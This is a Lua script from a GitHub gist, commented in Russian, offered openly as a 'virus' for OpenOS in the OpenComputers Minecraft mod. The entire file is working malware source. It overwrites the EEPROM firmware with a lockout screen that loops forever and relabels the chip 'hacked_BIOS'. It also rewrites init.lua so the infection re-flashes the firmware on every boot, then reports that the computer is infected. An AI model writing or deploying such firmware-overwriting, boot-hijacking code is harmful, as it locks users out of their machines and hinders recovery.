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@zxcqirara
Created February 7, 2018 17:26
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эта штучка устанавливает вирус на OpenOS)))
local virusPath = "mnt/virus.lua"
local EEPROMLabel = "hacked_BIOS >:)"
------------------------------------------------------------------------------------------------------------------------
local EEPROMCode = [[
local textLines = {
"Поздравляем!",
"Вы стали одним из первых счастливых обладателей вируса на OpenComputers.",
"Попытайтесь его удалить - посмотрим, что у вас выйдет. ",
"Ну, а новичкам советую обращаться к програмисстам для разблокировки компа.",
" ",
"Лол!)"
}
local component_invoke = component.invoke
function boot_invoke(address, method, ...)
local result = table.pack(pcall(component_invoke, address, method, ...))
if not result[1] then
return nil, result[2]
else
return table.unpack(result, 2, result.n)
end
end
---------------------------------------------------------------
local eeprom = component.list("eeprom")()
computer.getBootAddress = function()
return boot_invoke(eeprom, "getData")
end
computer.setBootAddress = function(address)
return boot_invoke(eeprom, "setData", address)
end
do
_G.screen = component.list("screen")()
_G.gpu = component.list("gpu")()
if gpu and screen then
boot_invoke(gpu, "bind", screen)
end
end
---------------------------------------------------------------
local function centerText(mode,coord,text)
local dlina = unicode.len(text)
local xSize,ySize = boot_invoke(gpu, "getResolution")
if mode == "x" then
boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
elseif mode == "y" then
boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
else
boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
end
end
local function virus()
local background, foreground = 0x0000AA, 0xCCCCCC
local xSize, ySize = boot_invoke(gpu, "getResolution")
boot_invoke(gpu, "setBackground", background)
boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
boot_invoke(gpu, "setBackground", foreground)
boot_invoke(gpu, "setForeground", background)
local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
centerText("x", y, " Вы поймали вирус OpenOS! ")
y = y + 2
boot_invoke(gpu, "setBackground", background)
boot_invoke(gpu, "setForeground", foreground)
for i = 1, #textLines do
centerText("x", y, textLines[i])
y = y + 1
end
while true do
computer.pullSignal()
end
end
if gpu then virus() end
]]
local INITCode = [[
local backgroundColor = 0x262626
local foregroundColor = 0xcccccc
do
_G._OSVERSION = "OpenOS 1.5"
local component = component
local computer = computer
local unicode = unicode
-- Runlevel information.
local runlevel, shutdown = "S", computer.shutdown
computer.runlevel = function() return runlevel end
computer.shutdown = function(reboot)
runlevel = reboot and 6 or 0
if os.sleep then
computer.pushSignal("shutdown")
os.sleep(0.1) -- Allow shutdown processing.
end
shutdown(reboot)
end
-- Low level dofile implementation to read filesystem libraries.
local rom = {}
function rom.invoke(method, ...)
return component.invoke(computer.getBootAddress(), method, ...)
end
function rom.open(file) return rom.invoke("open", file) end
function rom.read(handle) return rom.invoke("read", handle, math.huge) end
function rom.close(handle) return rom.invoke("close", handle) end
function rom.inits() return ipairs(rom.invoke("list", "boot")) end
function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
local screen = component.list('screen',true)()
for address in component.list('screen',true) do
if #component.invoke(address, 'getKeyboards') > 0 then
screen = address
end
end
-- Report boot progress if possible.
local gpu = component.list("gpu", true)()
local w, h
if gpu and screen then
component.invoke(gpu, "bind", screen)
w, h = component.invoke(gpu, "getResolution")
component.invoke(gpu, "setResolution", w, h)
component.invoke(gpu, "setBackground", backgroundColor)
component.invoke(gpu, "setForeground", foregroundColor)
component.invoke(gpu, "fill", 1, 1, w, h, " ")
end
local y = 1
local function status(msg)
local yPos = math.floor(h / 2)
local length = #msg
local xPos = math.floor(w / 2 - length / 2)
component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
component.invoke(gpu, "set", xPos, yPos, msg)
-- if gpu and screen then
-- component.invoke(gpu, "set", 1, y, msg)
-- if y == h then
-- component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
-- component.invoke(gpu, "fill", 1, h, w, 1, " ")
-- else
-- y = y + 1
-- end
-- end
end
status("Booting " .. _OSVERSION .. "...")
-- Custom low-level loadfile/dofile implementation reading from our ROM.
local function loadfile(file)
status("> " .. file)
local handle, reason = rom.open(file)
if not handle then
error(reason)
end
local buffer = ""
repeat
local data, reason = rom.read(handle)
if not data and reason then
error(reason)
end
buffer = buffer .. (data or "")
until not data
rom.close(handle)
return load(buffer, "=" .. file)
end
local function dofile(file)
local program, reason = loadfile(file)
if program then
local result = table.pack(pcall(program))
if result[1] then
return table.unpack(result, 2, result.n)
else
error(result[2])
end
else
error(reason)
end
end
status("Initializing package management...")
-- Load file system related libraries we need to load other stuff moree
-- comfortably. This is basically wrapper stuff for the file streams
-- provided by the filesystem components.
local package = dofile("/lib/package.lua")
do
-- Unclutter global namespace now that we have the package module.
--_G.component = nil
_G.computer = nil
_G.process = nil
_G.unicode = nil
-- Initialize the package module with some of our own APIs.
package.preload["buffer"] = loadfile("/lib/buffer.lua")
package.preload["component"] = function() return component end
package.preload["computer"] = function() return computer end
package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
package.preload["io"] = loadfile("/lib/io.lua")
package.preload["unicode"] = function() return unicode end
-- Inject the package and io modules into the global namespace, as in Lua.
_G.package = package
_G.io = require("io")
end
status("Initializing file system...")
-- Mount the ROM and temporary file systems to allow working on the file
-- system module from this point on.
local filesystem = require("filesystem")
filesystem.mount(computer.getBootAddress(), "/")
status("Running boot scripts...")
-- Run library startup scripts. These mostly initialize event handlers.
local scripts = {}
for _, file in rom.inits() do
local path = "boot/" .. file
if not rom.isDirectory(path) then
table.insert(scripts, path)
end
end
table.sort(scripts)
for i = 1, #scripts do
dofile(scripts[i])
end
status("Initializing components...")
local primaries = {}
for c, t in component.list() do
local s = component.slot(c)
if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
primaries[t] = {address=c, slot=s}
end
computer.pushSignal("component_added", c, t)
end
for t, c in pairs(primaries) do
component.setPrimary(t, c.address)
end
os.sleep(0.5) -- Allow signal processing by libraries.
--computer.pushSignal("init") -- so libs know components are initialized.
-- status("Initializing system...")
--require("term").clear()
os.sleep(0.1) -- Allow init processing.
runlevel = 1
end
]]
local component = require("component")
local args = { ... }
local function flashEEPROM()
local eeprom = component.getPrimary("eeprom")
eeprom.set(EEPROMCode)
eeprom.setLabel(EEPROMLabel)
end
local function rewriteInit()
local file = io.open("init.lua", "w")
file:write(INITCode, "\n", "\n")
file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
file:write("require(\"computer\").shutdown(true)")
file:close()
end
if args[1] == "flashEEPROM" then
flashEEPROM()
else
print(" ")
print("Перепрошиваю BIOS...")
flashEEPROM()
print("Перезаписываю кастомный init.lua...")
rewriteInit()
print(" ")
print("Комп успешно заражен!")
print(" ")
print("(Перезагрузи комп для запуска вируса)")
print(" ")
end
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